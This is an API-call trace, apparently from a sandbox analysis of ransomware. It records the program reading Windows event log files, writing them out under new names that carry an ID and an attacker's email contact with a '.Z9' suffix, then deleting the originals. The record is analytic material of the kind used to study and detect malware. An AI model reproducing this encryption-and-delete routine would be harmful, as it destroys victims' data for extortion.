	[0079.125] lstrlenW (lpString=".rar") returned 4
	[0079.125] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.125] lstrlenW (lpString=".bz2") returned 4
	[0079.125] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.125] lstrlenW (lpString=".7z") returned 3
	[0079.125] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.125] lstrlenW (lpString=".dbf") returned 4
	[0079.125] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.125] lstrlenW (lpString=".1cd") returned 4
	[0079.125] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0079.125] lstrlenW (lpString=".jpg") returned 4
	[0079.125] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.125] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0079.666] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64
	[0079.666] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.667] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0079.667] CloseHandle (hObject=0x35c) returned 1
	[0079.667] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20
	[0079.667] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0079.667] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.667] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.667] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.667] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0079.672] GetLastError () returned 0x0
	[0079.672] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0079.675] WriteFile (in: hFile=0x388, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0079.677] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.677] WriteFile (in: hFile=0x388, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x154, lpOverlapped=0x0) returned 1
	[0079.677] SetEndOfFile (hFile=0x388) returned 1
	[0079.678] CloseHandle (hObject=0x388) returned 1
	[0079.680] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.680] SetEndOfFile (hFile=0x35c) returned 1
	[0079.681] CloseHandle (hObject=0x35c) returned 1
	[0079.681] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0079.681] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1
	[0079.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.682] lstrlenW (lpString=".doc") returned 4
	[0079.682] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.682] lstrlenW (lpString=".docx") returned 5
	[0079.682] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.682] lstrlenW (lpString=".pdf") returned 4
	[0079.682] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.682] lstrlenW (lpString=".xls") returned 4
	[0079.682] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.682] lstrlenW (lpString=".xlsx") returned 5
	[0079.682] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.682] lstrlenW (lpString=".ppt") returned 4
	[0079.682] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.682] lstrlenW (lpString=".zip") returned 4
	[0079.682] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.682] lstrlenW (lpString=".rar") returned 4
	[0079.682] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.682] lstrlenW (lpString=".bz2") returned 4
	[0079.682] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.682] lstrlenW (lpString=".7z") returned 3
	[0079.682] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.682] lstrlenW (lpString=".dbf") returned 4
	[0079.682] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.682] lstrlenW (lpString=".1cd") returned 4
	[0079.683] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.683] lstrlenW (lpString=".jpg") returned 4
	[0079.683] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.683] lstrlenW (lpString=".doc") returned 4
	[0079.683] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString=".docx") returned 5
	[0079.683] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.683] lstrlenW (lpString=".pdf") returned 4
	[0079.683] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString=".xls") returned 4
	[0079.683] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString=".xlsx") returned 5
	[0079.683] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.683] lstrlenW (lpString=".ppt") returned 4
	[0079.683] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.683] lstrlenW (lpString=".zip") returned 4
	[0079.683] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString=".rar") returned 4
	[0079.683] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString=".bz2") returned 4
	[0079.683] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString=".7z") returned 3
	[0079.683] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.683] lstrlenW (lpString=".dbf") returned 4
	[0079.683] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.683] lstrlenW (lpString=".1cd") returned 4
	[0079.683] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0079.683] lstrlenW (lpString=".jpg") returned 4
	[0079.684] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.684] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0079.684] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47
	[0079.684] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.684] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0079.684] CloseHandle (hObject=0x35c) returned 1
	[0079.684] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20
	[0079.684] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0079.684] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.684] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.684] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.684] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0079.685] GetLastError () returned 0x0
	[0079.685] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0079.688] WriteFile (in: hFile=0x388, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0079.690] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.690] WriteFile (in: hFile=0x388, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x132, lpOverlapped=0x0) returned 1
	[0079.690] SetEndOfFile (hFile=0x388) returned 1
	[0079.690] CloseHandle (hObject=0x388) returned 1
	[0079.692] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.692] SetEndOfFile (hFile=0x35c) returned 1
	[0079.693] CloseHandle (hObject=0x35c) returned 1
	[0079.693] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0079.693] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1
	[0079.694] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.694] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.694] lstrlenW (lpString=".doc") returned 4
	[0079.694] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.694] lstrlenW (lpString=".docx") returned 5
	[0079.694] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.694] lstrlenW (lpString=".pdf") returned 4
	[0079.694] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.694] lstrlenW (lpString=".xls") returned 4
	[0079.694] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.694] lstrlenW (lpString=".xlsx") returned 5
	[0079.694] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.694] lstrlenW (lpString=".ppt") returned 4
	[0079.694] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.694] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.694] lstrlenW (lpString=".zip") returned 4
	[0079.694] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.694] lstrlenW (lpString=".rar") returned 4
	[0079.694] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.694] lstrlenW (lpString=".bz2") returned 4
	[0079.694] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.694] lstrlenW (lpString=".7z") returned 3
	[0079.694] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.694] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.694] lstrlenW (lpString=".dbf") returned 4
	[0079.694] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.694] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.694] lstrlenW (lpString=".1cd") returned 4
	[0079.694] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.695] lstrlenW (lpString=".jpg") returned 4
	[0079.695] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.695] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.695] lstrlenW (lpString=".doc") returned 4
	[0079.695] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString=".docx") returned 5
	[0079.695] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.695] lstrlenW (lpString=".pdf") returned 4
	[0079.695] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString=".xls") returned 4
	[0079.695] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString=".xlsx") returned 5
	[0079.695] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.695] lstrlenW (lpString=".ppt") returned 4
	[0079.695] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.695] lstrlenW (lpString=".zip") returned 4
	[0079.695] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString=".rar") returned 4
	[0079.695] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString=".bz2") returned 4
	[0079.695] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString=".7z") returned 3
	[0079.695] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.695] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.695] lstrlenW (lpString=".dbf") returned 4
	[0079.695] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.695] lstrlenW (lpString=".1cd") returned 4
	[0079.695] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.695] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0079.695] lstrlenW (lpString=".jpg") returned 4
	[0079.695] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.696] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0079.696] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49
	[0079.696] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.696] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0079.696] CloseHandle (hObject=0x35c) returned 1
	[0079.696] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20
	[0079.696] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0079.696] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.696] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.696] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.696] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.374] GetLastError () returned 0x0
	[0080.374] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.377] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.380] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.380] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x136, lpOverlapped=0x0) returned 1
	[0080.380] SetEndOfFile (hFile=0x390) returned 1
	[0080.380] CloseHandle (hObject=0x390) returned 1
	[0080.384] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.384] SetEndOfFile (hFile=0x35c) returned 1
	[0080.386] CloseHandle (hObject=0x35c) returned 1
	[0080.387] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.387] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1
	[0080.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.387] lstrlenW (lpString=".doc") returned 4
	[0080.388] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.388] lstrlenW (lpString=".docx") returned 5
	[0080.388] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.388] lstrlenW (lpString=".pdf") returned 4
	[0080.388] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.388] lstrlenW (lpString=".xls") returned 4
	[0080.388] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.388] lstrlenW (lpString=".xlsx") returned 5
	[0080.388] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.388] lstrlenW (lpString=".ppt") returned 4
	[0080.388] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.388] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.388] lstrlenW (lpString=".zip") returned 4
	[0080.388] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.388] lstrlenW (lpString=".rar") returned 4
	[0080.388] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.388] lstrlenW (lpString=".bz2") returned 4
	[0080.388] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.388] lstrlenW (lpString=".7z") returned 3
	[0080.388] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.388] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.388] lstrlenW (lpString=".dbf") returned 4
	[0080.388] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.388] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.388] lstrlenW (lpString=".1cd") returned 4
	[0080.388] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.388] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.388] lstrlenW (lpString=".jpg") returned 4
	[0080.389] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.389] lstrlenW (lpString=".doc") returned 4
	[0080.389] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.389] lstrlenW (lpString=".docx") returned 5
	[0080.389] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.389] lstrlenW (lpString=".pdf") returned 4
	[0080.389] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.389] lstrlenW (lpString=".xls") returned 4
	[0080.389] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.389] lstrlenW (lpString=".xlsx") returned 5
	[0080.389] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.389] lstrlenW (lpString=".ppt") returned 4
	[0080.389] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.389] lstrlenW (lpString=".zip") returned 4
	[0080.389] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.389] lstrlenW (lpString=".rar") returned 4
	[0080.389] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.389] lstrlenW (lpString=".bz2") returned 4
	[0080.389] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.389] lstrlenW (lpString=".7z") returned 3
	[0080.389] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.389] lstrlenW (lpString=".dbf") returned 4
	[0080.389] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.389] lstrlenW (lpString=".1cd") returned 4
	[0080.389] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0080.390] lstrlenW (lpString=".jpg") returned 4
	[0080.390] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.390] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
